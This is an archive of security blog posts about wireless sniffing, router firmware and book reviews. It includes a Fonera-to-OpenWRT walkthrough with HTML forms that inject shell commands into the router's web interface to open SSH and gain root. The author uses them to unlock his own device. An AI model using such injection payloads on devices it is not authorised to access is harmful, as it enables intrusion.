I purchased my MacBook right after the release of the newer Santa Rosa chipset models in late 2007, and I have to say, it’s the best laptop I’ve ever owned.  I moved to doing most of my security-related work on it, from my Latitude C400, much quicker than I expected.  I’m very happy with it.

The other day, I wanted to get Kismet up and running on OS X, which I thought would be a pain, since the newer MacBooks use a Broadcom 4328 for wireless.  KisMac is an option, as well (with some nice additional features!), but I have a long history of using Kismet in Linux and wanted to be able to use and demo it as well.  I figured I might have to resort to using an external USB wireless adapter.

As it turns out, it’s really not that difficult at all, and supports the 4328 very well in OS X.  I took notes on the commands I used, since I expected more problems than I ran into.  I think you’ll find it to be pretty straightforward:

First of all, you’ll need to install the XCode tools from the OS X install discs, so that you have an environment to compile the code.  I decided to create a directory under “/opt/” for kismet to live in, in case I needed to compile some libraries especially for it (I expected to need a newer version of pcap, but this was not the case).  This part’s up to your taste.  You may not find it necessary:

mkdir /opt
mkdir /opt/kismet
mkdir /opt/kismet/src
cd /opt/kismet/src

Next, check out the latest development version of Kismet from the Kismet SVN:

svn co http://svn.kismetwireless.net/code/trunk kismet-devel

Now, switch to the directory with source, and run configure.  You’ll want to set the prefix if you set up a special place for Kismet to live, like I did:

cd kismet-devel
./configure --prefix=/opt/kismet/

Compile, and install:

make dep
sudo make install

The configuration’s pretty easy as well.  Edit the kismet.conf file (in this case, at “/opt/kismet/etc/kismet.conf”).  You’ll be making two simple changes.  Kismet wants to drop privileges to a user’s level, so look for this part of the config and change it:

suiduser=<your OS X username>

…and set up your capture source:


That’s it, really!  You can run it with “sudo /opt/kismet/bin/kismet” (might want to add it to your path).  It works very well too.  I’ve noticed that I can stay associated to an access point, while sniffing and hopping channels with Kismet.  This is better than what I could do with my old Intel 2200.

I went into the installation figuring I would make a blog post about getting it running.  I never expected it to be so easy, so this post might not even be needed!  Maybe it’ll at least let folks know ahead of time that there’s smooth sailing ;) .


OpenWRT on the Fon Fonera is one of the most popular posts on this site, however there’s a few rough spots, as it’s more of a set of notes from my own personal experience rather than a polished How-to. There’s several places where someone might fall through the cracks if they’re not using a very similar configuration to mine, or simply aren’t reading my mind.

To improve on this, Brett Hoff and Russell Butturini have made some notes of their own, as in-line comments to mine. to clarify some of the things that have changed in newer versions of Kamikaze and the Fon, gotchas with non-Apache web servers, and a few other things you might have problems with. Those notes are available here.

Happy flashing!


You might remember an older post here, on the “Ferret” sniffer from Errata Security. You may have even found this blog by looking for information on Ferret. Since Blackhat, my logs show a lot of hits coming from Google searches for Ferret. I suppose they saw the presentation on Hamster and wanted some more information on the older tool.

You might also remember that I wasn’t very kind to Ferret. It was an unimpressive tool with an unimpressive implementation, and didn’t really bring anything new to the table to warrant the attention it was getting. Hamster really isn’t any better. This time, instead of sniffing out passwords for various protocols, it steals session cookies and performs man-in-the-middle attacks.

It’s a powerful demonstration to those who have never seen this sort of attack before, but it’s nothing that kids haven’t been doing with existing tools for years. pdp at gnucitizen has really summed up how I feel about it in his post:

Hamster plus Hotspot equals Web 2.0 meltdown NOT


If you already have one of these very popular and versatile routers, are in need of a good platform for small-scale network infrastructure, or want to use the WRT as a platform for penetration testing, then “Linksys WRT54G Ultimate Hacking” is a must-have. I read this book cover-to-cover this weekend, in-between moving things around for repairs to our kitchen and bathroom, and was very impressed with the content. In addition to the WRT54G running OpenWRT right now as my home network’s router, I have an untouched WRT54GS Version 3.0 sitting on my shelf right now. After reading this book, I can’t wait to pull it down and try some of the projects.

The form-factor is like any other Syngress book. What Syngress lacks in creative cover design, they make up for in consistency and readability. You can tell what book this is on your shelf from across the room, with the big red “LINKSYS WRT54G” dominating the title on the spine. At a glance, someone might think it’s the manual for the WRT54G, which isn’t far from the truth. After getting rid of the default firmware and going with one of the options from this book, “Linksys WRT54G Ultimate Hacking” should serve as a good manual for future activities. The back cover promises that you will be given access to a PDF version of the book by registering on-line for the Syngress “Solutions” program (free). This will be very useful, and will add to the value of this book for road warriors. At the time of writing this review, Syngress’ website hasn’t been updated to allow members to add this book to their Solutions account, though presumably it will be added soon.

Beyond being a simple how-to on flashing firmware, “Linksys WRT54G Ultimate Hacking” serves to present an entire body of knowledge on Linksys’ routers that the authors (Paul Asadoorian and Larry Pesce) have spent some time bringing together and testing. Most of the information in this book is out there on the Internet already, in various forum posts, mailing lists, wikis, and code repositories. However, unless you can afford to spend the time to sift through it for what’s useful to you, test it out, and work out the bugs, you are much better off getting this book. The authors have also supplied many external sources that the reader can refer to for more information, when things start getting out of the scope of the book.

The authors recognize that there are many different kinds of users that will want to run 3rd-party firmware on their Linksys routers, and helpfully break things down for each type. Everyone, from casual users who simply want a more stable firmware than the default, to (and of interest to this site) penetration testers, will find something useful in this book. More importantly, they can find what they need quickly, since the various user-types and projects are well organized and easy to find in the table of contents. The introduction to wireless security in Chapter 5 is very well written and will bring a lot of readers up to speed on the topic, at least in regard to securing their own networks.

The projects in the book are very interesting, especially those for penetration testers. I’m very interested in playing with Kismet on the WRT54G, the captive portal software, and using the router to set up VPN connections for remote testing. I may even get brave enough to crack one open and add an SD card slot. Scripts are presented for most projects, and for each, a link is given to the book’s website, where the authors may ensure that they are always available for download. Potential buyers of this book should be aware that some of the projects in the book require a router with a USB port (WRTSL54GS), including the spectrum analysis project discussed on the front cover.

My complaints about this book are small. There appear to be problems with the way some of the screenshots were printed. The ones in question (page 183, for example) are readable, but have a strange dark rectangle to the right that has a stretched version of a portion of the screenshot. Other figures are low resolution, and occasionally have obvious JPEG compression artefacts (such as on page 5). It never keeps the figure from being readable, although perhaps in future editions or books, figures could be created at the appropriate resolution and lossless format.

A chapter was cut from this book, “Chapter 7 – Developing Software for the WRT54G – Tools required, Coding and Testing, Making Packages”, that I believe would have been well-worth the additional space. Being able to develop and build one’s own packages is the logical next step for what is covered in this book, and would have given some insight to how the software used in the book’s projects were put together. This chapter would make an excellent addition to the book’s website, http://wrt54ghacks.com/ (which has potential to be a very good site).

Throughout the book, there are a few references to generating passwords using Steve Gibson’s web-based password generator at https://www.grc.com/passwords.htm. This is very surprising, considering the authors’ (completely warranted) distaste for Gibson on their podcast (Pauldotcom Security Weekly). Personally, despite the SSL, an assurance that passwords generated are not logged, and the fact that it’s labeled “Ultra High Security Password Generator”, I would not recommend that anyone use a web-based system for generating passwords. You’re involving an outsider that you can’t really measure how much you trust, when it’s just as easy to use software meant to run on your local machines to generate random passwords.

These complaints are not show stoppers and do not really impact the quality of this book. It’s very well written and brings together a body of knowledge that you won’t find in one place anywhere else. I would especially recommend it to security professionals who might be able to use OpenWRT as a platform for remote access, reconnaissance and exploitation.


Alexander Sandström Krantz has self-published a report, entitled “Practical WLAN Security”, that he put together along with David Johansson for a class at Linköpings University in Sweden. I just caught his post on SecurityFocus’s “basics” list, and have glanced over the text, and it looks to be a very well written introduction to 802.11 network security issues. This is definitely something you should pick up and read if you’re getting a start on this subject


Update: Mirror at http://www.cyd.liu.se/~alesa195/


UPDATE : Brett Hoff and Russell Butturini have made some notes of their own to go with these notes, to clarify some of the things that have changed in newer versions of Kamikaze and the Fon, gotchas with non-Apache webservers, and a few other things you might have problems with. Those notes are available here.

I’m very proud of my new toy. These Fon Fonera routers are really what the security geek ordered, and they’re usually pretty cheap on ebay. Check out this guy’s picture of one next to his mouse. They’re tiny! It can be hard enough to find a WRT54G duct-taped up behind a cubicle wall, so imagine where you could put that thing! It’s also handy to have something like this in your laptop bag to set up wireless networks out in the field, bridge a wireless network over to a wired, wireless honeypots, or any number of other strange configurations you might want to set up.

I’ll probably cover some interesting things you can do with routers like this in future posts, but for now, we need to get this thing into useful shape. By default, the Fonera firmware (which is based on OpenWRT) sets up private and public SSIDs, phones home to the folks at Fon, and other things undesirable for our purposes. I have replaced the Fonera’s default firmware with the latest snapshot of OpenWRT, and I tried to take some notes on the process. Hopefully if you get your hands on one of these, you can follow along:

Big warning: Don’t connect the Fon up to the Internet at all until you finish getting a fresh install of OpenWRT on it. It will probably update itself with new firmware from Fon and lock you out of having any fun at all with it.

Through this, the following sites were very helpful. A lot of the steps are pinched and adapted from them:

The first order of business is to figure out what version of the firmware I have. The default firmware’s status page helps with this:

We don’t want to turn it into a useless brick in the process of flashing it, and we’re in luck, because the device uses an implementation of RedBoot. To make things easy, we want to enable RedBoot’s ability to listen on the wired Ethernet side for a telnet session on boot. That way, if we screw up, we can always go back into RedBoot and fix it. We’ll also flash it in RedBoot.

To enable RedBoot, we need to get a shell on the default firmware. There’s not an SSH server listening by default, but we’re going to turn one on through a command injection exploit on the web interface. It’s pretty trivial, and it works well on the 0.7.1-r1 version. If you have a newer version, you’ll want to check around to see how to revert it (it might be as simple as holding down the reset button to reset it back to 0.7.1-r1), or if there are new exploits.

You’ll create two html files that submit the right input to the web interface. Go ahead and connect to the Fon’s private network SSID “MyPlace”. First, we want to set up iptables to allow traffic on the SSH port (just save this HTML to your hard drive in a .html file, view it in your web browser, and click submit):

<form method="post" action="" enctype="multipart/form-data">
<input name="username" value="$(/usr/sbin/iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT)" size="68" >
<input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" />

Now, we want to actually start the dropbear SSH server:

<form method="post" action="" enctype="multipart/form-data">
<input name="username" value="$(/etc/init.d/dropbear)" size="68" >
<input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" />

You should be able to SSH into your Fon on port 22 of its IP address ( You’ll want to set up dropbear to run whenever you reboot the Fon, too:

weasel@hacktop:~$ ssh root@
The authenticity of host ' (' can't be established.
RSA key fingerprint is 69:52:42:17:fd:b0:97:1a:5f:33:8d:5a:f0:5b:8a:dc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (RSA) to the list of known hosts.
root@'s password:

BusyBox v1.1.3 (2006.11.21-19:49+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

 _______  _______  _______
|   ____||       ||   _   |
|   ____||   -   ||  | |  |
|   |    |_______||__| |__|

 Fonera Firmware (Version 0.7.1 rev 1) -------------
  * Based on OpenWrt - http://openwrt.org
  * Powered by FON - http://www.fon.com
root@OpenWrt:~# mv /etc/init.d/dropbear /etc/init.d/S50dropbear

Also, use vi to uncomment the two lines in /etc/firewall.user that allow connections on port 22.

To enable RedBoot over Ethernet, you’ll need a modified kernel and a new RedBoot config. For convenience, I set up a web server on the computer I configured my Fon on, downloaded those files, and placed them in the root directory. From here on out, I’ll assume you’ve done the same, know what IP address it’s listening on, and will substitute it in as needed.

Next, get the modified kernel and RedBoot config onto your Fon and apply them:

root@OpenWrt:~# wget
Connecting to[]:80
out.hex              100% |*******************************************************|  4096       00:00 ETA
root@OpenWrt:~# wget
Connecting to[]:80
openwrt-ar531x-2.4-v 100% |*******************************************************|   512 KB    00:00 ETA
root@OpenWrt:~# mtd -e vmlinux.bin.l7 write openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma vmlinux.bin.l7
Unlocking vmlinux.bin.l7 ...
Erasing vmlinux.bin.l7 ...
Writing from openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma to vmlinux.bin.l7 ...  [w]
root@OpenWrt:~# reboot

After it finishes rebooting, SSH in and continue…

root@OpenWrt:~# mtd -e "RedBoot config" write out.hex "RedBoot config"
Unlocking RedBoot config ...
Erasing RedBoot config ...
Writing from out.hex to RedBoot config ...  [w]

Once that finishes, your Fon probably won’t reboot correctly. No big deal. We’ll be going into RedBoot to flash the new OpenWRT. Redboot listens on port 9000 of for about ten seconds upon boot before it moves on. You have ten seconds to send Ctrl-C on this port to stop it and allow you to interact with RedBoot. It’s easiest to just use this script, redboot.pl, to connect to RedBoot. Leave it running on the computer you’re configuring this from, plug in the router, and it’ll connect up for you and leave you at a RedBoot prompt.

weasel@hacktop:~$ ./redboot.pl

Snipped out a bunch of “unreachable” messages is unreachable is alive
-> == Executing boot script in 7.080 seconds - enter ^C to abort
<- ^C
Connected to
Escape character is '^]'.

Once we have RedBoot working, we can flash the Fon with the latest OpenWRT. Go to the OpenWRT download site here, download “openwrt-atheros-2.6-vmlinux.lzma” and “openwrt-atheros-2.6-root.jffs2-64k”, and then place them in the root directory of the web server you’re running.

Connect up to RedBoot again, and use the following commands to initialize the memory on the Fon, configure the network settings (with your own computer/web server instead of, and write OpenWRT to the Fon. Note that these commands take some time, especially when you write the root filesystem. Play some Sudoku or something:

RedBoot> ip_address -l -h
IP:, Gateway:
Default server:
RedBoot> fis init
About to initialize [format] FLASH image system - continue (y/n)? y
*** Initialize FLASH Image System
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
RedBoot> load -r -v -b 0x80040450 /openwrt-atheros-2.6-root.jffs2-64k -m HTTP
Raw file loaded 0x80040450-0x801e044f, assumed entry at 0x80040450
RedBoot> fis create -b 0x80040450 -f 0xA8030000 -l 0x00700000 -e 0x00000000 rootfs
... Erase from 0xa8030000-0xa8730000: ................................................................................................................
... Program from 0x80040450-0x80740450 at 0xa8030000: ................................................................................................................
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
RedBoot> load -r -v -b %{FREEMEMLO} /openwrt-atheros-2.6-vmlinux.lzma -m HTTP
Raw file loaded 0x80040800-0x800f07ff, assumed entry at 0x80040800
RedBoot> fis create -r 0x80041000 -e 0x80041000 vmlinux.bin.l7
... Erase from 0xa8730000-0xa87e0000: ...........
... Program from 0x80040800-0x800f0800 at 0xa8730000: ...........
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
RedBoot> fis load -l vmlinux.bin.l7
Image loaded from 0x80041000-0x80289086
RedBoot> exec

(Edit: Note that for the line “fis create -b 0×80040450 -f 0xA8030000 -l 0×00700000 -e 0×00000000 rootfs”, you may need to use “-l 0x006F0000″ instead of “-l 00700000″, since the Kamikaze kernel has apparently grown since I wrote this. Thanks to DmnHunter on #pauldotcom for the tip!)

The last command starts up the new system. Give it some time to boot up, and it should show up on Now, you can telnet in, and set a password if you like (which will automatically set up an ssh server for you).

Congratulations! If it worked as well for you as it did for me, you’re running a fresh install of OpenWRT on your Fon. You might want to start reading up on the OpenWRT Wiki about how to configure the Kamikaze version of OpenWRT. I’ll also post some scripts, hints, and tricks to this blog as I come up with them (especially when it’s of interest to the security community).


The IPW2200 (Intel Pro Wireless) is a pretty nice Mini-PCI (not sure if there are any PCMCIA ones) wireless card that seems to have come in a lot of Dell laptops. The Inspiron 600M I used to use has one, and everything just worked in Linux both in terms of normal usage and monitor-mode tomfoolery. I gave the 600M to my wife and tracked down a much smaller and lighter Latitude C400 for myself, which came with an IPW2100, which uses the Hermes chipset, much like older Lucent Orinoco Gold cards (the IPW2200 and later models have their own driver in the kernel).

The Hermes-based IPW2100 was fine, even without support for G networks or WPA, since most of the networks I connected to were either B networks, or had a slow enough pipe to the Internet that it didn’t matter. When I wanted security, I used a VPN. Now, the campus has an 802.1x wireless network, however my poor IPW2100 wasn’t having an of it. A friend had just given me a spare IPW2200 so the C400 laptop went under the knife (screwdriver, actually) to replace the old with the new. It’s a very nice card, I believe. Kismet has no troubles throwing it into monitor mode, and I do think I’m getting slightly better range with it versus the 2100.

This past weekend, on the way to the competition, we were marveled by the number of wireless networks one sees when going around Atlanta. Dozens and dozens of networks. This got a few of us talking about various cards, what modes are supported, and such things. A friend and fellow team member, Jonathan Pittman, mentioned that there was a relatively new mode supported by the IPW2200 drivers called “radiotap”.

He demonstrated this radiotap mode to me and it was really neat. In this mode, you have your normal device (say, “eth1″) that you can associate to an access point and participate on a network with, and a second interface (“rtap0″) that allows other programs to listen in, monitor-mode style, with 802.11 headers and information. So, you can run Kismet, tcpdump, or whatever on the “rtap0″ interface, while you’re actually associated and using a network on the “eth1″ interface.

The limitation is that you can’t go channel hopping on the “rtap0″ interface. So you will only be able to see the packets from channels on the same network as the one you are associated to. It’s still a neat trick, and could come in handy :) .

To enable it, you will probably need to load up the module with the rtap_iface option set:

modprobe ipw2200 rtap_iface=1

You’re supposed to be able to set it with the following too, however I didn’t have any luck:

echo 1 > /sys/bus/pci/drivers/ipw2200/*/rtap_iface

Either way, once you get it going, rtap0 is now your monitor-like interface to what’s happening on the current channel. In complete contradiction of anything intuitive, however, Kismet will still use the “normal” interface. Here’s how I have the source set in kismet.conf:


Strange but true :-D .

If you have one of these cards, have fun with this! There are some patches floating around to allow injection in monitor mode, and to allow the card to go into Master mode (to act as an AP). I’m probably going to look into that sort of thing and do a short writeup if I’m able to get those going.

© 2012 McGrew Security Suffusion theme by Sayontan Sinha